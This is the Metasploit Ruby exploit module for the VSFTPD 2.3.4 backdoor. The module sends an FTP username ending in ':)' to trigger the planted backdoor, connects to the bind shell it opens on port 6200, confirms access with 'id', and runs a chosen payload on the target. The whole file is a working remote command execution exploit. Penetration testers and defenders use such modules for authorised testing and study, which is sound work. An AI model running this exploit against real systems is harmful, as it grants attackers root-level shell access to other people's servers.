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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
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      'Description'    => %q{
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          This module exploits a malicious backdoor that was added to the	VSFTPD download
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          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
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          June 30th 2011 and July 1st 2011 according to the most recent information
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          available. This backdoor was removed on July 3rd 2011.
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      },
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      'Author'         => [ 'hdm', 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '73573'],
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          [ 'URL', 'http://pastebin.com/AetT9sS5'],
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          [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
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        ],
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      'Privileged'     => true,
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      'Platform'       => [ 'unix' ],
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType'    => 'cmd_interact',
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              'ConnectionType' => 'find'
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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        ],
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      'DisclosureDate' => '2011-07-03',
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      'DefaultTarget' => 0))
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    register_options([ Opt::RPORT(21) ])
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  end
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  def exploit
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    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
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    if nsock
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      print_status("The port used by the backdoor bind listener is already open")
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      handle_backdoor(nsock)
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      return
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    end
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    # Connect to the FTP service port first
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    connect
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    banner = sock.get_once(-1, 30).to_s
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    print_status("Banner: #{banner.strip}")
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    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
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    resp = sock.get_once(-1, 30).to_s
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    print_status("USER: #{resp.strip}")
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    if resp =~ /^530 /
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      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
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      disconnect
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      return
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    end
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    if resp !~ /^331 /
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      print_error("This server did not respond as expected: #{resp.strip}")
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      disconnect
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      return
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    end
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    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
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    # Do not bother reading the response from password, just try the backdoor
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    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
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    if nsock
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      print_good("Backdoor service has been spawned, handling...")
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      handle_backdoor(nsock)
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      return
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    end
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    disconnect
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  end
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  def handle_backdoor(s)
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    s.put("id\n")
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    r = s.get_once(-1, 5).to_s
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    if r !~ /uid=/
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      print_error("The service on port 6200 does not appear to be a shell")
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      disconnect(s)
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      return
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    end
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    print_good("UID: #{r.strip}")
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    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
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    handler(s)
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  end
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end
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